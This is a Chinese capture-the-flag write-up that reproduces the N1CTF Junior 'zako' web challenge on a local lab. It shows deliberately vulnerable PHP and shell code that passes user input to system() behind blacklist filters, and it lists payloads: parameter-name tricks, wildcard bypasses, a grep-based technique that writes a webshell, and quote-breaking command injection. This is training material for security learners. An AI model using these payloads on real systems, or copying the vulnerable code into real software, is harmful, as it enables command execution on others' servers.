第二届N1CTF Junior_zako复现
参考:
wp参考:
题目wp:
N1CTF Junior 2024 Web Official Writeup(Nu1L Team组织的官方纳新赛事,旨在选拔优秀人才加入Nu1L Team,可是小北是大二生,抱着玩玩的心态来的)_n1ctf junion-CSDN博客
第二届 N1CTF Junior | 雲流のLowest World (c1oudfl0w0.github.io)
php非法传参:
谈一谈PHP中关于非法参数名传参问题_arr4y非法传参-CSDN博客
环境参考:
【Linux中shell命令】.sh文件种种操作-CSDN博客
环境搭建:
创建index.php:

源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight")); $cmd = $_REQUEST["__secret.xswl.io"]; if (strlen($cmd)>70) { die("no, >70"); } if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute')/is",$cmd)){ die("你就不能绕一下喵"); } system("./execute.sh '".$cmd."'"); ?>
|
创建execute.sh:

源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| #!/bin/bash reject() { echo "${1}" exit 1 } XXXCMD=$1 awk -v str="${XXXCMD}" ' BEGIN { deny="`;&$(){}[]!@#$%^&*-"; for (i = 1; i <= length(str); i++) { char = substr(str, i, 1); for (x = 1; x < length(deny) + 1; x++) { r = substr(deny, x, 1); if (char == r) exit 1; } } } ' [ $? -ne 0 ] && reject "NOT ALLOW 1" eval_cmd=$(echo "${XXXCMD}" | awk -F "|" ' BEGIN { allows[1] = "ls"; allows[2] = "makabaka"; allows[3] = "whoareu"; allows[4] = "cut~no"; allows[5] = "grep"; allows[6] = "wc"; allows[7] = "杂鱼杂鱼"; allows[8] = "netstat.jpg"; allows[9] = "awsl"; allows[10] = "dmesg"; allows[11] = "xswl"; }{ num = 1; for (i = 1; i <= NF; i++) { for (x = 1; x <= length(allows); x++) { cmpstr = substr($i, 1, length(allows[x])); if (cmpstr == allows[x]) eval_cmd[num++] = $i; } } } END { for (i = 1; i <= length(eval_cmd); i++) { if (i != 1) printf "| %s", eval_cmd[i]; else printf "%s", eval_cmd[i]; } }' ) [ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2" eval ${eval_cmd}
|
赋予所有用户对zako文件夹的所有权限:
1
| chmod -R 777 /www/admin/TestForWeb/zako
|

对execute.sh设置运行权限:
1
| chmod +x ./execute.sh #使脚本具有执行权限
|

可以进行运行!!!
创建flag文件在上一级文件夹中:
readflag:

访问我们的环境:

测试环境:
1 2
| php非法传参,将_变为[, ?_[secret.xswl.io=ls
|

我们的环境搭建成功!!!
zako复现:
php非法传参:
1
| 当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_
|
所以只要将其中一个_变为[,就可以进行传参,但是通过测试,发现字符串开头的_不能为[,但是第二个_可以用[,替换,可以得到内容回显(题目环境是php<8):
1
| ?_[secret.xswl.io=ls #一般先尝试一下ls可不可以
|

获取execute.sh文件:
.sh文件直接访问时可以直接被网页下载获取,所以以后一些陌生或可疑文件在知道其目录的情况下,都可以进行访问一下,看看能不能进行下载获取


下载获取到的execute.sh:
将其后缀名去掉以后获取到完整的代码

代码审计:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| #!/bin/bash
reject() { echo "${1}" exit 1 }
XXXCMD=$1 awk -v str="${XXXCMD}" ' # 所要进行执行的脚本 BEGIN { # 定义黑名单字符 deny="`;&$(){}[]!@#$%^&*-"; for (i = 1; i <= length(str); i++) { # 获取str字符串中的指定位置字符 char = substr(str, i, 1); for (x = 1; x < length(deny) + 1; x++) { # 获取deny字符串指定位置的字符 r = substr(deny, x, 1); # 判断用户输入的字符串中是否存在deny中的字符 # 如果有,则退出程序 if (char == r) exit 1; } } } '
[ $? -ne 0 ] && reject "NOT ALLOW 1"
eval_cmd=$(echo "${XXXCMD}" | awk -F "|" ' # 开始模块 BEGIN { # 白名单内容 allows[1] = "ls";# 展示指定目录的文件 allows[2] = "makabaka"; allows[3] = "whoareu"; allows[4] = "cut~no"; allows[5] = "grep";# 搜索指定文件内容,输出匹配的字符串所在行的内容 allows[6] = "wc";# 查看文件行数情况,不可以读取内容 allows[7] = "杂鱼杂鱼"; allows[8] = "netstat.jpg"; allows[9] = "awsl"; allows[10] = "dmesg"; allows[11] = "xswl"; }{ # 这个模块的作用就是判断我们的命令是否在白名单中,在白名单中则可以被存储到eval_cmd数组中 num = 1; # NF 表示字段数量,即输入脚本的字段的数量 # $i表示输入的第i个参数的值,这里字符串被|分割为各个字段输入,所以就表示第i个字段的值 for (i = 1; i <= NF; i++) { for (x = 1; x <= length(allows); x++) { cmpstr = substr($i, 1, length(allows[x])); if (cmpstr == allows[x]) eval_cmd[num++] = $i; } } } # 结束模块 END { # 由于模块运行结束才会调用$()进行赋值,所以当最后运行完毕后为:命令1| 命令2| 命令3| ...... # 然后将最终的打印结果赋值给eval_cmd for (i = 1; i <= length(eval_cmd); i++) { if (i != 1) # 输出第一个之后的命令且带上管道符,保证允许的命令都能够执行 printf "| %s", eval_cmd[i]; else # 输出第一个命令 printf "%s", eval_cmd[i]; } }' )
[ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2"
eval ${eval_cmd}
|
index.php代码分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php
$cmd = $_REQUEST["__secret.xswl.io"]; if (strlen($cmd) > 70) { die("no, > 70"); }
die("你就不能绕一下喵"); }
system("./execute.sh '".$cmd."'");
?>
|
网页上显示的代码内容是不完整的,所以我们需要获取源码才能知道过滤的内容
获取完整的index.php代码:
利用wc查看index.php的文件行数:
1
| ?_[secret.xswl.io=wc index.php
|

我们输入的内容有过滤,可以用?替换index.php中的一个字符尝试绕过:
1
| ?_[secret.xswl.io=wc inde?.ph?
|

得到index.php总共有16行数据

网页实际显示的行数为14行,少了两行。
使用grep获取缺失行的内容:
1 2
| ?_[secret.xswl.io=grep -A 5 "}" inde?.ph? 获取匹配行及其后面的5行内容
|

经过测试”-“被过滤了。
直接使用匹配字符串获取行内容:
由于缺少的是else模块内容,所以直接匹配else
1
| ?_[secret.xswl.io=grep "else" inde?.ph?
|

没有回显内容。
知识点介绍:
php隐藏显示代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));
这段代码的作用是将当前文件的内容读取并使用 grep 命令进行筛选,然后使用 highlight_string 函数对筛选后的内容进行语法高亮。
让我们逐步解析这段代码:
__FILE__ 是一个魔术常量,表示当前文件的绝对路径和文件名。
cat __FILE__ 使用 cat 命令读取当前文件的内容,并通过管道 | 将其传递给下一个命令。
grep -v preg_match 是第一个 grep 命令,使用 -v 选项反转匹配,即只输出不匹配 "preg_match" 的行。这可能是为了排除当前文件中包含 "preg_match" 的行。
grep -v highlight 是第二个 grep 命令,同样使用 -v 选项反转匹配,即只输出不匹配 "highlight" 的行。这可能是为了排除当前文件中包含 "highlight" 的行。
最后,shell_exec 函数将整个命令串联起来,并执行命令。命令的结果将作为字符串返回。
highlight_string 函数接受一个字符串参数,将其中的 PHP 代码进行语法高亮处理,并将结果输出到浏览器或终端。
总结起来,这段代码的作用是读取当前文件的内容,排除包含 "preg_match" 和 "highlight" 的行,然后对剩余的代码进行语法高亮处理,并将结果输出到设备上。这可能是用于展示当前文件的代码,并在其中突出显示不包含特定函数的部分。
需要注意的是,直接执行用户输入的命令可能存在安全风险,因此在实际应用中应该谨慎使用,并确保输入的命令是可信的。
|
所以我们直接匹配highlight_string去获取被隐藏的匹配字符串。
获取highlight_string代码:
1
| ?_[secret.xswl.io=grep "highl" inde?.ph?
|

1
| highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));
|
隐藏的是preg_match和highlight所在行。
匹配preg_match所在行内容:
1
| ?_[secret.xswl.io=grep "preg" inde?.ph?
|

1
| highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight")); if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute')/is",$cmd)){
|
缺失的行内容:
1 2
| highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight")); if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute')/is",$cmd)){
|
完整的index.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight")); $cmd = $_REQUEST["__secret.xswl.io"]; if (strlen($cmd)>70) { die("no, >70"); } if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute')/is",$cmd)){ die("你就不能绕一下喵"); } system("./execute.sh '".$cmd."'"); ?>
|
使用grep直接获取文件完整内容:
1
| ?_[secret.xswl.io=grep "" inde?.ph?
|


使用grep创建新文件绕过字符过滤(构造木马文件):
分析:
1
| 由于grep可以匹配文件的行内容,同时也可以通过>>输出到新文件中,所以如果我们将index.php中我们想要的行内容输出到我们新创建的文件中,这样就可以直接避开preg_match()函数。
|
我们需要的行内容:
1 2 3
| <?php $cmd = $_REQUEST["__secret.xswl.io"]; system("./execute.sh '".$cmd."'");
|
grep匹配行内容输出到我们在网页当前目录创建的shell.php文件中:
payload1:
shell.php不存在时,命令行会自动创建
1
| ?_[secret.xswl.io=grep "<?php" inde?.ph? >> shell.php
|

payload2:
1
| ?_[secret.xswl.io=grep "REQUEST" inde?.ph? >> shell.php
|


payload3:
1
| ?_[secret.xswl.io=grep "system" inde?.ph? >> shell.php
|


访问shell.php:

成功访问创建的木马文件!!!
获取网页指定目录信息:
1
| shell.php?_[secret.xswl.io=ls ../
|

获取readflag的文件内容:
payload1:
1 2
| shell.php?_[secret.xswl.io=ls ../';cat ../readflag' shell.php?_[secret.xswl.io=ls'|../readflag'
|

payload2:
1
| shell.php?_[secret.xswl.io=grep "" ../readflag
|

